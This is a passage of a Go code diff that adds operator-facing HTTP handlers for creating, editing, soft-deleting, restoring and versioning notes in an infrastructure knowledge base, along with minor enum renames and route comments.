|
||||
targetID, appended.String(), extraTags, actorLabel); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "merge write failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
for _, srcSlug := range merged {
|
||||
if _, err := tx.Exec(ctx, `
|
||||
UPDATE knowledge_entities ke
|
||||
SET deleted_at = now(), edited_by = $2
|
||||
FROM entities e
|
||||
WHERE e.id = ke.entity_id AND (e.slug = $1 OR e.id::text = $1)`,
|
||||
srcSlug, actorLabel); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "source delete failed", err.Error())
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if err := tx.Commit(ctx); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "commit failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
slog.Info("knowledge merged", "target", body.Target, "sources", merged, "actor", actorLabel)
|
||||
writeJSON(w, map[string]any{"ok": true, "merged": merged, "tags_added": extraTags})
|
||||
}
|
||||
|
||||
// lowerAll is the case-folding helper the tag queries compare against.
|
||||
func lowerAll(in []string) []string {
|
||||
out := make([]string, len(in))
|
||||
for i, s := range in {
|
||||
out[i] = strings.ToLower(strings.TrimSpace(s))
|
||||
}
|
||||
return out
|
||||
}
|
||||
659
internal/httpapi/knowledge_write.go
Normal file
659
internal/httpapi/knowledge_write.go
Normal file
@@ -0,0 +1,659 @@
|
||||
package httpapi
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"log/slog"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
"github.com/google/uuid"
|
||||
"github.com/jackc/pgx/v5"
|
||||
)
|
||||
|
||||
// Operator-facing write path for the knowledge base. Until this file, the
|
||||
// only way anything reached knowledge_entities was the MCP tool
|
||||
// upsert_knowledge (internal/mcp/server.go) — an agent-only surface. The web
|
||||
// UI could search and read but never create, correct, or remove a note, so
|
||||
// the operator's own knowledge had nowhere to go and an agent mistake had no
|
||||
// fix short of psql.
|
||||
//
|
||||
// All routes here are non-OpenAPI custom routes, consistent with the existing
|
||||
// knowledge read routes (see the carve-out block in server.go): they trade in
|
||||
// raw markdown and ad-hoc aggregates rather than generated schema types.
|
||||
//
|
||||
// Deletion is soft (deleted_at) — see migrations/022_knowledge_revisions.up.sql
|
||||
// for why — so every read path in this file filters on `ke.deleted_at IS NULL`.
|
||||
|
||||
// knowledgeSlugSegmentRe strips a title down to a single slug segment.
|
||||
// Mirrors knowledgeSlugRe in internal/mcp/server.go; duplicated rather than
|
||||
// exported across the package boundary because the two callers namespace
|
||||
// their output differently (see knowledgeSlugFor).
|
||||
var knowledgeSlugSegmentRe = regexp.MustCompile(`[^a-z0-9]+`)
|
||||
|
||||
// knowledgeSlugFor builds `<kind>:<folder>/<title-slug>`. The MCP tool's
|
||||
// equivalent hardcodes the `nomos/` folder; operator-created notes need to
|
||||
// land somewhere else so the navigator tree can tell at a glance who wrote
|
||||
// what, and so an operator note can never collide with an agent note that
|
||||
// happens to share a title.
|
||||
func knowledgeSlugFor(kind, folder, title string) string {
|
||||
s := strings.ToLower(strings.TrimSpace(title))
|
||||
s = knowledgeSlugSegmentRe.ReplaceAllString(s, "-")
|
||||
s = strings.Trim(s, "-")
|
||||
if s == "" {
|
||||
s = "note"
|
||||
}
|
||||
if len(s) > 80 {
|
||||
s = s[:80]
|
||||
}
|
||||
folder = strings.Trim(strings.ToLower(strings.TrimSpace(folder)), "/")
|
||||
folder = knowledgeSlugSegmentRe.ReplaceAllString(folder, "-")
|
||||
folder = strings.Trim(folder, "-")
|
||||
if folder == "" {
|
||||
folder = "operator"
|
||||
}
|
||||
return kind + ":" + folder + "/" + s
|
||||
}
|
||||
|
||||
// validKnowledgeKind mirrors the three entity types that knowledge_entities
|
||||
// rows are allowed to hang off (see upsert_knowledge's own check).
|
||||
func validKnowledgeKind(kind string) bool {
|
||||
switch kind {
|
||||
case "document", "investigation", "runbook":
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// resolveKnowledgeEntity maps an id-or-slug path segment to the entity id of
|
||||
// a live (non-deleted) knowledge note. Returns pgx.ErrNoRows when there's no
|
||||
// such note, which callers turn into a 404.
|
||||
func (s *Server) resolveKnowledgeEntity(ctx context.Context, idOrSlug string) (uuid.UUID, error) {
|
||||
var id uuid.UUID
|
||||
err := s.pool.QueryRow(ctx, `
|
||||
SELECT ke.entity_id
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE (e.slug = $1 OR e.id::text = $1)
|
||||
AND ke.deleted_at IS NULL`, idOrSlug).Scan(&id)
|
||||
return id, err
|
||||
}
|
||||
|
||||
// resolveKnowledgeEntityAny is resolveKnowledgeEntity without the
|
||||
// deleted_at filter — for the one read path (revisions) that must still work
|
||||
// on a deleted note. The whole point of soft-delete is that a note's history
|
||||
// stays inspectable after removal (e.g. to confirm what was lost before
|
||||
// restoring it); requiring the note to be live first would defeat that.
|
||||
func (s *Server) resolveKnowledgeEntityAny(ctx context.Context, idOrSlug string) (uuid.UUID, error) {
|
||||
var id uuid.UUID
|
||||
err := s.pool.QueryRow(ctx, `
|
||||
SELECT ke.entity_id
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE e.slug = $1 OR e.id::text = $1`, idOrSlug).Scan(&id)
|
||||
return id, err
|
||||
}
|
||||
|
||||
// pathParam pulls a chi URL param and percent-decodes it. Knowledge slugs
|
||||
// contain both ':' and '/' (e.g. "document:containers/101-jellyfin"), so they
|
||||
// reach the handler still encoded — chi.URLParam does no decoding of its own
|
||||
// on manually-registered routes (unlike the OpenAPI-generated ones, which
|
||||
// decode via runtime.BindStyledParameterWithOptions).
|
||||
func pathParam(req *http.Request, name string) (string, error) {
|
||||
return url.PathUnescape(chi.URLParam(req, name))
|
||||
}
|
||||
|
||||
// serveKnowledgeList returns every live note without its body — the backing
|
||||
// data for the wiki navigator tree. Distinct from /knowledge/recent, which
|
||||
// caps at 200 and exists to answer "what changed lately" for the stats view:
|
||||
// the tree needs the complete set, and needs the linked-entity slugs so it
|
||||
// can offer a group-by-entity arrangement without N+1 fetches.
|
||||
//
|
||||
// Body text is deliberately excluded — with ~100 notes averaging ~1 KB the
|
||||
// full payload would be ~100 KB per app open, to render a list that shows
|
||||
// only titles.
|
||||
func (s *Server) serveKnowledgeList(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
type item struct {
|
||||
ID string `json:"id"`
|
||||
Slug string `json:"slug"`
|
||||
Title string `json:"title"`
|
||||
Kind string `json:"kind"`
|
||||
Source string `json:"source"`
|
||||
EditedBy string `json:"edited_by"`
|
||||
Tags []string `json:"tags"`
|
||||
About []string `json:"about"`
|
||||
Size int `json:"size"`
|
||||
UpdatedAt string `json:"updated_at"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
Revisions int `json:"revisions"`
|
||||
}
|
||||
|
||||
// The `about` aggregate mirrors GetEntityKnowledge's first UNION branch
|
||||
// (documents/about edges) — the 'procedure-for' branch is left out here
|
||||
// because it joins against entity *types* rather than entities and can't
|
||||
// produce a per-note slug list.
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT e.id::text, e.slug, ke.title, e.type, COALESCE(ke.source,''),
|
||||
COALESCE(ke.edited_by,''), COALESCE(ke.tags, '{}'),
|
||||
COALESCE((
|
||||
SELECT array_agg(DISTINCT t.slug)
|
||||
FROM relationships r
|
||||
JOIN entities t ON t.id = r.target_id
|
||||
WHERE r.source_id = ke.entity_id
|
||||
AND r.valid_to IS NULL
|
||||
AND r.type IN ('documents', 'about')
|
||||
), '{}'),
|
||||
length(ke.content),
|
||||
ke.updated_at::text, ke.created_at::text,
|
||||
(SELECT count(*) FROM knowledge_revisions kr WHERE kr.entity_id = ke.entity_id)
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE ke.deleted_at IS NULL
|
||||
ORDER BY ke.updated_at DESC`)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
items := []item{}
|
||||
for rows.Next() {
|
||||
var it item
|
||||
if err := rows.Scan(&it.ID, &it.Slug, &it.Title, &it.Kind, &it.Source,
|
||||
&it.EditedBy, &it.Tags, &it.About, &it.Size,
|
||||
&it.UpdatedAt, &it.CreatedAt, &it.Revisions); err != nil {
|
||||
slog.Error("httpapi: knowledge/list row scan failed", "error", err)
|
||||
continue
|
||||
}
|
||||
items = append(items, it)
|
||||
}
|
||||
|
||||
writeJSON(w, map[string]any{"items": items})
|
||||
}
|
||||
|
||||
// serveKnowledgeTrash lists soft-deleted notes — the counterpart to
|
||||
// serveKnowledgeList, and what the "restore" affordance in the UI browses.
|
||||
// Without this, a deleted note is invisible from every list endpoint
|
||||
// (correctly — they all filter deleted_at) with no way to even discover it
|
||||
// exists to restore.
|
||||
func (s *Server) serveKnowledgeTrash(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT e.slug, ke.title, e.type, COALESCE(ke.edited_by,''), ke.deleted_at::text
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE ke.deleted_at IS NOT NULL
|
||||
ORDER BY ke.deleted_at DESC`)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
type item struct {
|
||||
Slug string `json:"slug"`
|
||||
Title string `json:"title"`
|
||||
Kind string `json:"kind"`
|
||||
DeletedBy string `json:"deleted_by"`
|
||||
DeletedAt string `json:"deleted_at"`
|
||||
}
|
||||
items := []item{}
|
||||
for rows.Next() {
|
||||
var it item
|
||||
if err := rows.Scan(&it.Slug, &it.Title, &it.Kind, &it.DeletedBy, &it.DeletedAt); err != nil {
|
||||
slog.Error("httpapi: knowledge/trash row scan failed", "error", err)
|
||||
continue
|
||||
}
|
||||
items = append(items, it)
|
||||
}
|
||||
|
||||
writeJSON(w, map[string]any{"items": items})
|
||||
}
|
||||
|
||||
// knowledgeWriteBody is the shared request shape for create and update.
|
||||
// Every field is a pointer so update can distinguish "not supplied" (leave
|
||||
// alone) from "supplied empty" (clear it) — a PUT that only changes tags
|
||||
// must not blank the body.
|
||||
type knowledgeWriteBody struct {
|
||||
Title *string `json:"title"`
|
||||
Content *string `json:"content"`
|
||||
Kind *string `json:"kind"`
|
||||
Tags *[]string `json:"tags"`
|
||||
Folder *string `json:"folder"`
|
||||
About *[]string `json:"about"`
|
||||
}
|
||||
|
||||
// serveCreateKnowledge creates a note plus its backing entity, and links it
|
||||
// to whatever entities it's about.
|
||||
func (s *Server) serveCreateKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
var body knowledgeWriteBody
|
||||
if err := json.NewDecoder(req.Body).Decode(&body); err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid request body", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
title := strings.TrimSpace(deref(body.Title))
|
||||
content := strings.TrimSpace(deref(body.Content))
|
||||
if title == "" || content == "" {
|
||||
writeProblem(w, req, http.StatusBadRequest, "title and content are required", "")
|
||||
return
|
||||
}
|
||||
kind := deref(body.Kind)
|
||||
if kind == "" {
|
||||
kind = "document"
|
||||
}
|
||||
if !validKnowledgeKind(kind) {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid kind",
|
||||
"kind must be document, investigation, or runbook")
|
||||
return
|
||||
}
|
||||
tags := normalizeTags(derefSlice(body.Tags))
|
||||
slug := knowledgeSlugFor(kind, deref(body.Folder), title)
|
||||
_, actorLabel := actorInfo(ctx)
|
||||
|
||||
tx, err := s.pool.Begin(ctx)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "begin failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer tx.Rollback(ctx)
|
||||
|
||||
docID, _ := uuid.NewV7()
|
||||
// ON CONFLICT covers the soft-deleted case: the entity row survives a
|
||||
// delete, so recreating a note under the same slug must reuse it rather
|
||||
// than fail the unique constraint.
|
||||
if err := tx.QueryRow(ctx, `
|
||||
INSERT INTO entities (id, slug, type, name, attributes)
|
||||
VALUES ($1, $2, $3, $4, '{}')
|
||||
ON CONFLICT (slug) DO UPDATE SET name = EXCLUDED.name, updated_at = now()
|
||||
RETURNING id`, docID, slug, kind, title).Scan(&docID); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "create entity failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
// Refuse to silently overwrite an existing LIVE note — upsert_knowledge
|
||||
// (the MCP tool) deliberately upserts by title (the agent re-records the
|
||||
// same finding as it learns more), but an operator hitting "create" with
|
||||
// a colliding title almost certainly means to write something new.
|
||||
//
|
||||
// The `WHERE knowledge_entities.deleted_at IS NOT NULL` guard makes this
|
||||
// check atomic with the write, rather than a separate SELECT before it:
|
||||
// a plain pre-check has a TOCTOU race where two concurrent creates of
|
||||
// the same title can both pass the check and then both proceed to
|
||||
// INSERT ON CONFLICT DO UPDATE, silently clobbering each other. Here,
|
||||
// the UPDATE branch only actually applies when the conflicting row is
|
||||
// soft-deleted (a legitimate "resurrect" case). When it isn't, the row
|
||||
// is left untouched, RETURNING yields no row, and pgx.ErrNoRows below
|
||||
// becomes the 409 — the collision can never be missed, no matter how
|
||||
// the two writers interleave.
|
||||
var wroteID uuid.UUID
|
||||
err = tx.QueryRow(ctx, `
|
||||
INSERT INTO knowledge_entities
|
||||
(entity_id, title, content, source, tags, edited_by, updated_at, deleted_at)
|
||||
VALUES ($1, $2, $3, $4, $5, $4, now(), NULL)
|
||||
ON CONFLICT (entity_id) DO UPDATE
|
||||
SET title = EXCLUDED.title, content = EXCLUDED.content,
|
||||
tags = EXCLUDED.tags, edited_by = EXCLUDED.edited_by,
|
||||
updated_at = now(), deleted_at = NULL
|
||||
WHERE knowledge_entities.deleted_at IS NOT NULL
|
||||
RETURNING entity_id`,
|
||||
docID, title, content, actorLabel, tags).Scan(&wroteID)
|
||||
if errors.Is(err, pgx.ErrNoRows) {
|
||||
writeProblem(w, req, http.StatusConflict, "a note with this title already exists", slug)
|
||||
return
|
||||
} else if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "write knowledge failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
linked := s.linkKnowledgeAbout(ctx, tx, docID, derefSlice(body.About))
|
||||
|
||||
if err := tx.Commit(ctx); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "commit failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
slog.Info("knowledge created", "slug", slug, "kind", kind, "actor", actorLabel, "linked", linked)
|
||||
// Content-Type before WriteHeader — setting it after is a no-op, the
|
||||
// status line is already on the wire.
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
w.WriteHeader(http.StatusCreated)
|
||||
if err := json.NewEncoder(w).Encode(map[string]any{
|
||||
"slug": slug, "id": docID.String(), "linked": linked,
|
||||
}); err != nil {
|
||||
slog.Error("httpapi: json encode failed", "error", err)
|
||||
}
|
||||
}
|
||||
|
||||
// serveUpdateKnowledge edits a live note in place. The prior version is
|
||||
// captured by the trg_knowledge_revision trigger, not by this handler — see
|
||||
// the migration for why that lives in the database.
|
||||
//
|
||||
// Note the slug is intentionally NOT recomputed when the title changes:
|
||||
// slugs are the wiki's stable link target ([[slug]] references, relationship
|
||||
// rows, bookmarked window ids), and silently re-slugging on a typo fix would
|
||||
// break every inbound link.
|
||||
func (s *Server) serveUpdateKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
idOrSlug, err := pathParam(req, "id")
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid id", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
var body knowledgeWriteBody
|
||||
if err := json.NewDecoder(req.Body).Decode(&body); err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid request body", err.Error())
|
||||
return
|
||||
}
|
||||
if body.Title == nil && body.Content == nil && body.Tags == nil && body.About == nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "nothing to update",
|
||||
"supply at least one of title, content, tags, about")
|
||||
return
|
||||
}
|
||||
if body.Title != nil && strings.TrimSpace(*body.Title) == "" {
|
||||
writeProblem(w, req, http.StatusBadRequest, "title cannot be empty", "")
|
||||
return
|
||||
}
|
||||
if body.Content != nil && strings.TrimSpace(*body.Content) == "" {
|
||||
writeProblem(w, req, http.StatusBadRequest, "content cannot be empty", "")
|
||||
return
|
||||
}
|
||||
|
||||
entityID, err := s.resolveKnowledgeEntity(ctx, idOrSlug)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusNotFound, "no such knowledge note", "")
|
||||
return
|
||||
}
|
||||
_, actorLabel := actorInfo(ctx)
|
||||
|
||||
tx, err := s.pool.Begin(ctx)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "begin failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer tx.Rollback(ctx)
|
||||
|
||||
// COALESCE keeps unsupplied fields untouched; edited_by and updated_at
|
||||
// always move so the UI can show who last touched it. The trigger only
|
||||
// snapshots when title/content/tags actually differ, so a no-op save
|
||||
// doesn't manufacture a revision.
|
||||
var newTitle *string
|
||||
if body.Title != nil {
|
||||
t := strings.TrimSpace(*body.Title)
|
||||
newTitle = &t
|
||||
}
|
||||
var newContent *string
|
||||
if body.Content != nil {
|
||||
c := strings.TrimSpace(*body.Content)
|
||||
newContent = &c
|
||||
}
|
||||
var newTags *[]string
|
||||
if body.Tags != nil {
|
||||
t := normalizeTags(*body.Tags)
|
||||
newTags = &t
|
||||
}
|
||||
|
||||
if _, err := tx.Exec(ctx, `
|
||||
UPDATE knowledge_entities
|
||||
SET title = COALESCE($2, title),
|
||||
content = COALESCE($3, content),
|
||||
tags = COALESCE($4, tags),
|
||||
edited_by = $5,
|
||||
updated_at = now()
|
||||
WHERE entity_id = $1`,
|
||||
entityID, newTitle, newContent, newTags, actorLabel); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "update failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
// Keep the entity's display name in step with the note title — the graph
|
||||
// and the fleet table read entities.name, and leaving it stale is exactly
|
||||
// the drift this app exists to fight.
|
||||
if newTitle != nil {
|
||||
if _, err := tx.Exec(ctx,
|
||||
`UPDATE entities SET name = $2, updated_at = now() WHERE id = $1`,
|
||||
entityID, *newTitle); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "rename entity failed", err.Error())
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// About is replace-semantics, not merge: the editor presents the full
|
||||
// link set, so an absent slug means the operator removed it. Existing
|
||||
// edges are closed (valid_to) rather than deleted, preserving history.
|
||||
var linked []string
|
||||
if body.About != nil {
|
||||
if _, err := tx.Exec(ctx, `
|
||||
UPDATE relationships SET valid_to = now()
|
||||
WHERE source_id = $1 AND valid_to IS NULL AND type IN ('documents', 'about')`,
|
||||
entityID); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "unlink failed", err.Error())
|
||||
return
|
||||
}
|
||||
linked = s.linkKnowledgeAbout(ctx, tx, entityID, *body.About)
|
||||
}
|
||||
|
||||
if err := tx.Commit(ctx); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "commit failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
slog.Info("knowledge updated", "entity_id", entityID, "actor", actorLabel)
|
||||
// `linked` lets the caller diff against what it submitted and warn about
|
||||
// any slug that didn't resolve — see linkKnowledgeAbout: a typo'd entity
|
||||
// slug otherwise fails with nothing but a server-side slog.Warn, so the
|
||||
// operator gets no feedback that one of their About links didn't take.
|
||||
writeJSON(w, map[string]any{"ok": true, "linked": linked})
|
||||
}
|
||||
|
||||
// serveDeleteKnowledge soft-deletes a note. The row, its revision trail and
|
||||
// its entity all survive; only the deleted_at stamp changes, and every read
|
||||
// path filters on it.
|
||||
func (s *Server) serveDeleteKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
idOrSlug, err := pathParam(req, "id")
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid id", err.Error())
|
||||
return
|
||||
}
|
||||
entityID, err := s.resolveKnowledgeEntity(ctx, idOrSlug)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusNotFound, "no such knowledge note", "")
|
||||
return
|
||||
}
|
||||
_, actorLabel := actorInfo(ctx)
|
||||
|
||||
// Snapshot the live version before tombstoning. The trigger fires on
|
||||
// title/content/tags changes only, and a delete changes none of them —
|
||||
// without this the most recent version would be the one version missing
|
||||
// from the history if the note is later restored.
|
||||
if _, err := s.pool.Exec(ctx, `
|
||||
INSERT INTO knowledge_revisions
|
||||
(entity_id, title, content, source, tags, edited_by, version_at)
|
||||
SELECT entity_id, title, content, source, tags, COALESCE(edited_by,''), updated_at
|
||||
FROM knowledge_entities WHERE entity_id = $1`, entityID); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "snapshot failed", err.Error())
|
||||
return
|
||||
}
|
||||
if _, err := s.pool.Exec(ctx, `
|
||||
UPDATE knowledge_entities SET deleted_at = now(), edited_by = $2
|
||||
WHERE entity_id = $1`, entityID, actorLabel); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "delete failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
slog.Info("knowledge deleted", "entity_id", entityID, "actor", actorLabel)
|
||||
writeJSON(w, map[string]any{"ok": true})
|
||||
}
|
||||
|
||||
// serveRestoreKnowledge undoes a soft delete. The counterpart to
|
||||
// serveDeleteKnowledge — without it, "recoverable by clearing the column"
|
||||
// (see the migration) would only be true via psql, which isn't a real
|
||||
// recovery path for an operator using the wiki.
|
||||
func (s *Server) serveRestoreKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
idOrSlug, err := pathParam(req, "id")
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid id", err.Error())
|
||||
return
|
||||
}
|
||||
entityID, err := s.resolveKnowledgeEntityAny(ctx, idOrSlug)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusNotFound, "no such knowledge note", "")
|
||||
return
|
||||
}
|
||||
_, actorLabel := actorInfo(ctx)
|
||||
|
||||
ct, err := s.pool.Exec(ctx, `
|
||||
UPDATE knowledge_entities SET deleted_at = NULL, edited_by = $2
|
||||
WHERE entity_id = $1 AND deleted_at IS NOT NULL`, entityID, actorLabel)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "restore failed", err.Error())
|
||||
return
|
||||
}
|
||||
if ct.RowsAffected() == 0 {
|
||||
writeProblem(w, req, http.StatusConflict, "note is not deleted", "")
|
||||
return
|
||||
}
|
||||
|
||||
slog.Info("knowledge restored", "entity_id", entityID, "actor", actorLabel)
|
||||
writeJSON(w, map[string]any{"ok": true})
|
||||
}
|
||||
|
||||
// serveKnowledgeRevisions returns the note's superseded versions, newest
|
||||
// first. Bodies are included: revisions are small (~1 KB) and few, and the
|
||||
// diff view needs both sides anyway — paginating would cost a round trip per
|
||||
// comparison to save nothing.
|
||||
func (s *Server) serveKnowledgeRevisions(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
idOrSlug, err := pathParam(req, "id")
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid id", err.Error())
|
||||
return
|
||||
}
|
||||
entityID, err := s.resolveKnowledgeEntityAny(ctx, idOrSlug)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusNotFound, "no such knowledge note", "")
|
||||
return
|
||||
}
|
||||
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT id, title, content, COALESCE(edited_by,''), COALESCE(tags,'{}'),
|
||||
version_at::text, revised_at::text
|
||||
FROM knowledge_revisions
|
||||
WHERE entity_id = $1
|
||||
ORDER BY version_at DESC`, entityID)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
type revision struct {
|
||||
ID int64 `json:"id"`
|
||||
Title string `json:"title"`
|
||||
Content string `json:"content"`
|
||||
EditedBy string `json:"edited_by"`
|
||||
Tags []string `json:"tags"`
|
||||
VersionAt string `json:"version_at"`
|
||||
RevisedAt string `json:"revised_at"`
|
||||
}
|
||||
items := []revision{}
|
||||
for rows.Next() {
|
||||
var r revision
|
||||
if err := rows.Scan(&r.ID, &r.Title, &r.Content, &r.EditedBy, &r.Tags,
|
||||
&r.VersionAt, &r.RevisedAt); err != nil {
|
||||
slog.Error("httpapi: knowledge/revisions row scan failed", "error", err)
|
||||
continue
|
||||
}
|
||||
items = append(items, r)
|
||||
}
|
||||
|
||||
writeJSON(w, map[string]any{"items": items})
|
||||
}
|
||||
|
||||
// linkKnowledgeAbout points a note at the entities it concerns, skipping
|
||||
// slugs that don't resolve and edges that already exist. Returns the slugs
|
||||
// actually linked so the caller can report what stuck — a typo'd slug is a
|
||||
// silent no-op otherwise.
|
||||
func (s *Server) linkKnowledgeAbout(ctx context.Context, tx pgx.Tx, docID uuid.UUID, slugs []string) []string {
|
||||
linked := []string{}
|
||||
for _, raw := range slugs {
|
||||
slug := strings.TrimSpace(raw)
|
||||
if slug == "" {
|
||||
continue
|
||||
}
|
||||
var targetID uuid.UUID
|
||||
if err := tx.QueryRow(ctx, `SELECT id FROM entities WHERE slug = $1`, slug).Scan(&targetID); err != nil {
|
||||
slog.Warn("knowledge: about slug not found, skipping", "slug", slug)
|
||||
continue
|
||||
}
|
||||
if _, err := tx.Exec(ctx, `
|
||||
INSERT INTO relationships (source_id, target_id, type, attributes, valid_from)
|
||||
SELECT $1, $2, 'about', '{"by":"operator"}'::jsonb, now()
|
||||
WHERE NOT EXISTS (
|
||||
SELECT 1 FROM relationships
|
||||
WHERE source_id = $1 AND target_id = $2 AND type = 'about' AND valid_to IS NULL)`,
|
||||
docID, targetID); err != nil {
|
||||
slog.Warn("knowledge: link failed", "slug", slug, "error", err)
|
||||
continue
|
||||
}
|
||||
linked = append(linked, slug)
|
||||
}
|
||||
return linked
|
||||
}
|
||||
|
||||
// normalizeTags trims, lowercases and de-duplicates while preserving order.
|
||||
// Lowercasing is the fix for the casing drift already in the data — `oom`
|
||||
// and `OOM` were separate tags on separate notes, so neither tag page showed
|
||||
// the full set. Applied on every write so the split can't reopen.
|
||||
func normalizeTags(in []string) []string {
|
||||
seen := map[string]bool{}
|
||||
out := []string{}
|
||||
for _, t := range in {
|
||||
t = strings.ToLower(strings.TrimSpace(t))
|
||||
if t == "" || seen[t] {
|
||||
continue
|
||||
}
|
||||
seen[t] = true
|
||||
out = append(out, t)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func deref(p *string) string {
|
||||
if p == nil {
|
||||
return ""
|
||||
}
|
||||
return *p
|
||||
}
|
||||
|
||||
func derefSlice(p *[]string) []string {
|
||||
if p == nil {
|
||||
return nil
|
||||
}
|
||||
return *p
|
||||
}
|
||||
|
||||
// writeJSON is the success-path counterpart to writeProblem, so the handlers
|
||||
// in this file don't each repeat the header/encode dance.
|
||||
func writeJSON(w http.ResponseWriter, v any) {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
if err := json.NewEncoder(w).Encode(v); err != nil {
|
||||
slog.Error("httpapi: json encode failed", "error", err)
|
||||
}
|
||||
}
|
||||
@@ -155,14 +155,14 @@ func (s *Server) GetTrends(ctx context.Context, req gen.GetTrendsRequestObject)
|
||||
f, _ := slopeNum.Float64Value()
|
||||
t.Slope = float32Ptr(float32(f.Float64))
|
||||
if f.Float64 > 0.01 {
|
||||
t.Direction = gen.Improving
|
||||
t.Direction = gen.TrendDirectionImproving
|
||||
} else if f.Float64 < -0.01 {
|
||||
t.Direction = gen.Degrading
|
||||
t.Direction = gen.TrendDirectionDegrading
|
||||
} else {
|
||||
t.Direction = gen.Stable
|
||||
t.Direction = gen.TrendDirectionStable
|
||||
}
|
||||
} else {
|
||||
t.Direction = gen.Unknown
|
||||
t.Direction = gen.TrendDirectionUnknown
|
||||
}
|
||||
items = append(items, t)
|
||||
}
|
||||
|
||||
@@ -109,8 +109,19 @@ func NewHandler(ctx context.Context, pool *db.Pool, cfg config.Config) http.Hand
|
||||
// /api/v1/events/stream — in OpenAPI but re-registered for SSE Flush()
|
||||
// /api/v1/knowledge/recent — ad-hoc aggregation, no schema type yet
|
||||
// /api/v1/knowledge/content/{id} — returns raw markdown, not a gen type
|
||||
// /api/v1/knowledge/list — full tree listing, ad-hoc aggregate
|
||||
// /api/v1/knowledge (POST) — markdown in, no gen type
|
||||
// /api/v1/knowledge/content/{id} (PUT/DELETE) — markdown in, soft delete
|
||||
// /api/v1/knowledge/trash — soft-deleted notes, ad-hoc
|
||||
// /api/v1/knowledge/restore/{id} — undo a soft delete, no gen type
|
||||
// /api/v1/knowledge/revisions/{id} — version history, no schema type
|
||||
// /api/v1/knowledge/tags{,/rename} — tag index + bulk rewrite
|
||||
// /api/v1/knowledge/duplicates — trigram clustering, ad-hoc
|
||||
